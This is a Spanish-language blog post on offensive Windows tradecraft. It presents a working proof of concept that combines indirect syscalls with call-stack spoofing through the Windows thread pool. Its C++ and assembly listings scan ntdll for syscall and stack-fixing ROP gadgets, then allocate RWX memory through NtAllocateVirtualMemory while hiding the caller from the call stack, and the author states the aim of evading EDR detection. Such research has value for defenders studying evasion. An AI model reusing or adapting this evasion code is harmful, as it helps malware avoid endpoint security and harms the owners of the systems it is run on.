Indirect Syscalls + CallStack Spoofing
Syscalls Indirectas
Esta técnica aparece a modo de alternativa de las Syscalls directas. Tal y como indico en este otro post, uno de los problemas principales de su uso es el la aparición de instrucciones Syscall en el código del propio ejecutable o en módulos no verificados. Sin embargo, para tratar de solventar esto, aparecen las Syscalls indirectas.
Esta otra técnica consiste en aprovechar las instrucciones Syscalls encontradas en la ntdll.dll para ejecutar el número de la Syscall (SSN) que nosotros queramos. Tomando como referencia lo visto en este post, para aplicar esta técnica sería tan sencillo como sustituir la instrucción Syscall por un salto a la ntdll.dll. Justo donde se encontraría la combinación de instrucciones Syscall + Return.
Observando el esquema en la imagen anterior, podemos ver de manera aproximada como debería de ejecutarse esta técnica. Se estaría ejecutando la Syscall en el espacio de memoria de la ntdll.dll en lugar del de “mi_code.exe”, con lo que estaríamos evadiendo la medida de seguridad comentada anteriormente.
Problemas
Tal y como comenta uno de los creadores de Brute Ratel en su blog (https://0xdarkvortex.dev/hiding-in-plainsight/), el uso de Syscalls directas en su forma básica ha quedado obsoleto.
Los avanzados mecanismos de detección han simplificado considerablemente la identificación de la Syscalls indirectas. Esto se debe a que, a través del seguimiento de eventos (ETW), un EDR puede identificar la ejecución de una Syscall y luego verificar la forma en que se está llevando a cabo. Si un EDR detecta la ejecución de una Syscall específica en una región de memoria donde no debería o si se encuentra una CallStack inválida durante su ejecución, el EDR podría tomar cartas en el asunto y detener la ejecución del código en cuestión.
Por ende, resulta complicado implementar este tipo de técnicas frente a estos mecanismos.
Callstack Spoofing
A modo de un pequeño parche en la ejecución de Syscalls de forma indirecta, mi propuesta es la de ocultar la CallStack mediante un spoofing. De esta manera, estaríamos evadiendo los mecanismos de detección que traten de validar la CallStack ante la ejecución de determinadas Syscalls.
Considero que esta es una de las claves para entender este post, por lo que tómate tu tiempo. Si esto es algo nuevo para ti o si no tienes mucho conocimiento sobre assembly, te recomiendo que aproveches para refrescar conceptos y avanzar poco a poco 🤓.
Funcionamiento
Para simplificar un poco el funcionamiento de un CallStack Spoofing con la finalidad de ejecutar Syscalls indirectas, considero que se deben producir estos tres pasos como mínimo:
- Alterar el Stack. Realizar los cambios en el Stack para falsificar u ocultar aquello que se desee en la CallStack (en este caso el return a nuestro código código).
- Ejecutar la Syscall. Realizar los pasos necesarios para ejecutar la Syscall de forma indirecta.
- Recuperar el control. Recuperar otra vez el control del flujo de la ejecución devolviendo el Stack a su estado original o correcto.
Una forma no muy compleja de realizar esto podría ser guardando la dirección de retorno en un registro no volátil y regresar a nuestro código mediante un gadjet ROP en una DLL del sistema.
Esto se podría realizar mediante una rutina trampolín que modificase el stack, preparase la pila y realizase el salto correspondiente.
Windows Thread Pooling
Otro sistema importante del que hago uso en esta POC es el Windows Thread Pooling, que es un mecanismo proporcionado por Windows para gestionar y optimizar el uso de hilos en una aplicación. Gracias a él se ayuda a la creación y destrucción excesiva de hilos, mejorando así la eficiencia y el rendimiento de las aplicaciones que necesitan realizar tareas concurrentes.
En lugar de crear un nuevo hilo cada vez que se necesita, la agrupación de hilos mantiene un conjunto de hilos reutilizables que pueden asignarse de forma dinámica entre las tareas que lo requieran. Estos hilos preexistentes se almacenan en una “pool”, y cuando una tarea está lista para ejecutarse, se asigna uno de los hilos del pool para llevar a cabo esa tarea.
Para poder trabajar con este sistema debemos emplear las funciones TpAllocWork, TpPostWork y TpReleaseWork de la NTDLL.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <windows.h>
#include <cstdio>
//Definition of the Windows Thread Pooling functions
typedef NTSTATUS(NTAPI* TPALLOCWORK)(PTP_WORK* ptpWrk, PTP_WORK_CALLBACK pfnwkCallback, PVOID OptionalArg, PTP_CALLBACK_ENVIRON CallbackEnvironment);
typedef VOID(NTAPI* TPPOSTWORK)(PTP_WORK);
typedef VOID(NTAPI* TPRELEASEWORK)(PTP_WORK);
FARPROC pTpAllocWork;
FARPROC pTpPostWork;
FARPROC pTpReleaseWork;
DWORD WINAPI Test(LPVOID lpParam) {
printf("Function test.\n");
getchar();
return 0;
}
int main() {
unsigned char sNtdll[] = { 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', 0x0 };
HMODULE hNtdll = GetModuleHandleA((LPCSTR)sNtdll);
unsigned char sTpAllocWork[] = { 'T', 'p', 'A', 'l', 'l', 'o', 'c', 'W', 'o', 'r', 'k' , 0x0 };
pTpAllocWork = GetProcAddress(hNtdll, (LPCSTR)sTpAllocWork);
unsigned char sTpPostWork[] = { 'T', 'p', 'P', 'o', 's', 't', 'W', 'o', 'r', 'k' , 0x0 };
pTpPostWork = GetProcAddress(hNtdll, (LPCSTR)sTpPostWork);
unsigned char sTpReleaseWork[] = { 'T', 'p', 'R', 'e', 'l', 'e', 'a', 's', 'e', 'W', 'o', 'r', 'k', 0x0 };
pTpReleaseWork = GetProcAddress(hNtdll, (LPCSTR)sTpReleaseWork);
PTP_WORK WorkReturn = NULL;
((TPALLOCWORK)pTpAllocWork)(&WorkReturn, (PTP_WORK_CALLBACK)Test, NULL, NULL);
((TPPOSTWORK)pTpPostWork)(WorkReturn);
((TPRELEASEWORK)pTpReleaseWork)(WorkReturn);
WaitForSingleObject((HANDLE)-1, 0x10000);
return 0;
}
Callstack de un hilo normal VS hilo de la Windows Thread Pooling
Si observamos la ejecución normal de la función Test podemos ver que nuestro código se ejecuta en un solo hilo.
Por lo tanto, la CallStack de este hilo contendría varios returns de vuelta nuestro código en “malicious.exe” ya que internamente se ha debido de pasado por varias funciones: main, Test, etc.
Sin embargo, cuando ejecutamos la función Test en un hilo de la Windows Thread Pooling, la CallStack es diferente. Únicamente aparece un return hacia nuestro código “malicious.exe”.
Esto se debe a que la función Test estaría funcionando como callback del hilo. Es decir, cuando se cree el hilo se ejecutará única y exclusivamente la función que nosotros hayamos indicado. Por lo tanto, el hilo al ser iniciado por el sistema, se estaría saltando funciones o rutinas por las que en el caso anterior se tiene que pasar llegar a ejecutar la función de Test.
Mi POC
Teniendo en cuenta el funcionamiento de un CallStack Spoofing y la CallStack que tendría un hilo la Windows Thread Polling he desarrollado una POC en la que se junten estos conceptos para lograr ejecutar una Syscall indirecta de una forma no muy compleja (en comparación a otros métodos).
Funcionamiento
Los pasos que debería seguir nuestro programa son:
1 - Buscar el ROP gadjet
Encontrar un gadjet en la NTDLL que nos permita devolver su estado original a la pila. En mi caso me interesa reducir su tamaño.
2 - Crear un hilo
Crear un hilo mediante la Windows Thread Polling, empleando las funciones TpAllocWork, TpPostWork y TpReleaseWork de la NTDLL. Que ejecutará como callback nuestra rutina principal de ensamblador.
3 - Alterar el stack
Una vez creado el hilo se ejecutará nuestra rutina en ensamblador. Desde ella se incrementará el tamaño del StackFrame, se introducirán los parámetros necesarios para ejecutar la Syscall y se establecerá la dirección del gadjet como la de return.
4 - Ejecutar la Syscall indirecta
Desde esta misma rutina de ensamblador se realizará un salto a una de las Syscalls de la NTDLL.
5 - Return al ROP gadjet
Tras ejecutar la instrucción Syscall se ejecutará el return, el cual realizará un “salto” a la dirección de nuestro gadjet. Tras esto, se devolverá el estado original al Stack y se realizará un return de vuelta a nuestro programa.
6 - Fin del hilo
Por último, se continuará con la ejecución normal del hilo y este terminará su ejecución.
Observaciones
Como podemos observar, en el momento en el que se ejecuta la Syscall el CallStack aparece de la siguiente manera.
Siendo el 0 la dirección de la función que aprovechamos para ejecutar la Syscall y el 1 la dirección donde se encuentra el gadjet. De esta manera no habría rastro de nuestro código en la CallStack y lograríamos evadir los mecanismos de seguridad que la validan.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#include <windows.h>
#include <cstdio>
//Definition of the Windows Thread Pooling functions
typedef NTSTATUS(NTAPI* TPALLOCWORK)(PTP_WORK* ptpWrk, PTP_WORK_CALLBACK pfnwkCallback, PVOID OptionalArg, PTP_CALLBACK_ENVIRON CallbackEnvironment);
typedef VOID(NTAPI* TPPOSTWORK)(PTP_WORK);
typedef VOID(NTAPI* TPRELEASEWORK)(PTP_WORK);
FARPROC pTpAllocWork;
FARPROC pTpPostWork;
FARPROC pTpReleaseWork;
typedef struct _NTALLOCATEVIRTUALMEMORY_ARGS {
HANDLE hProcess;
PVOID* address;
SIZE_T zeroBits;
PSIZE_T size;
ULONG allocationType;
ULONG permissions;
DWORD ssn;
} NTALLOCATEVIRTUALMEMORY_ARGS, *PNTALLOCATEVIRTUALMEMORY_ARGS;
//Rutina de ensamblador
extern "C" void NtAllocateVirtualMemory_Callback(
PTP_CALLBACK_INSTANCE Instance,
PVOID Context,
PTP_WORK Work
);
extern "C" void Search_For_Syscall_Ret(
HANDLE ntdllHandle
);
extern "C" void Search_For_Add_Rsp_Ret(
HANDLE ntdllHandle
);
int main() {
unsigned char sNtdll[] = { 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', 0x0 };
HMODULE hNtdll = GetModuleHandleA((LPCSTR)sNtdll);
unsigned char sTpAllocWork[] = { 'T', 'p', 'A', 'l', 'l', 'o', 'c', 'W', 'o', 'r', 'k' , 0x0 };
pTpAllocWork = GetProcAddress(hNtdll, (LPCSTR)sTpAllocWork);
unsigned char sTpPostWork[] = { 'T', 'p', 'P', 'o', 's', 't', 'W', 'o', 'r', 'k' , 0x0 };
pTpPostWork = GetProcAddress(hNtdll, (LPCSTR)sTpPostWork);
unsigned char sTpReleaseWork[] = { 'T', 'p', 'R', 'e', 'l', 'e', 'a', 's', 'e', 'W', 'o', 'r', 'k', 0x0 };
pTpReleaseWork = GetProcAddress(hNtdll, (LPCSTR)sTpReleaseWork);
//Search for Syscall + Ret
Search_For_Syscall_Ret(hNtdll);
//Search for add rsp, 78 + Ret
Search_For_Add_Rsp_Ret(hNtdll);
//Preparation of the structure NTALLOCATEVIRTUALMEMORY_ARGS
PVOID allocatedAddress = NULL;
SIZE_T allocatedsize = 0x1000;
NTALLOCATEVIRTUALMEMORY_ARGS ntAllocateVirtualMemoryArgs = { 0 };
ntAllocateVirtualMemoryArgs.hProcess = (HANDLE)-1;
ntAllocateVirtualMemoryArgs.address = &allocatedAddress;
ntAllocateVirtualMemoryArgs.zeroBits = 0;
ntAllocateVirtualMemoryArgs.size = &allocatedsize;
ntAllocateVirtualMemoryArgs.allocationType = (MEM_RESERVE | MEM_COMMIT);
ntAllocateVirtualMemoryArgs.permissions = PAGE_EXECUTE_READWRITE;
//Syscall number
ntAllocateVirtualMemoryArgs.ssn = 0x18;
//Thread creation
PTP_WORK WorkReturn = NULL;
((TPALLOCWORK)pTpAllocWork)(&WorkReturn, (PTP_WORK_CALLBACK)NtAllocateVirtualMemory_Callback, &ntAllocateVirtualMemoryArgs, NULL);
((TPPOSTWORK)pTpPostWork)(WorkReturn);
((TPRELEASEWORK)pTpReleaseWork)(WorkReturn);
WaitForSingleObject((HANDLE)-1, 0x5000);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
section .data
syscall_ret dq 0000000000000000h ; syscall + ret instruction combination address
add_rsp_ret dq 0000000000000000h ; add rsp, 0x78 + ret instruction combination address
section .text
global NtAllocateVirtualMemory_Callback
global Search_For_Syscall_Ret
global Search_For_Add_Rsp_Ret
NtAllocateVirtualMemory_Callback:
sub rsp, 0x78
mov r15, add_rsp_ret
mov r15, [r15]
push r15
mov rbx, rdx ; backing up the struct as we are going to stomp rdx
mov rcx, [rbx] ; HANDLE ProcessHandle
mov rdx, [rbx + 0x8] ; PVOID *BaseAddress
mov r8, [rbx + 0x10] ; ULONG_PTR ZeroBits
mov r9, [rbx + 0x18] ; PSIZE_T RegionSize
mov r10, [rbx + 0x24] ; ULONG Protect
mov [rsp+0x30], r10 ; stack pointer for 6th arg
mov r10, [rbx + 0x20] ; ULONG AllocationType
mov [rsp+0x28], r10 ; stack pointer for 5th arg
mov r10, rcx
mov r15, syscall_ret
mov r15, [r15]
mov rax, [rbx + 0x28]
jmp r15
Search_For_Syscall_Ret:
; Search for Syscall + Ret
mov rdx, rax
add rdx, 1
xor rbx, rbx
xor rcx, rcx
mov rcx, 00FFFFFF0000000000h
mov rdi, [rdx]
and rdi, rcx
or rbx, rdi
shr rbx, 28h
cmp rbx, 1F0FC3h
jne Search_For_Syscall_Ret + 3h
mov r15, syscall_ret
mov [r15], rdx
xor r15, r15
ret
Search_For_Add_Rsp_Ret:
; Search for add rsp, 78 + Ret
mov rdx, rax
add rdx, 1
xor rbx, rbx
xor rcx, rcx
mov rcx, 0000FFFFFFFFFFh
mov rdi, [rdx]
and rdi, rcx
or rbx, rdi
mov r14, 00C378C48348h
cmp rbx, r14
jne Search_For_Add_Rsp_Ret + 3h
mov r15, add_rsp_ret
mov [r15], rdx
ret
El código completo puedes encontrarlo en mi GitHub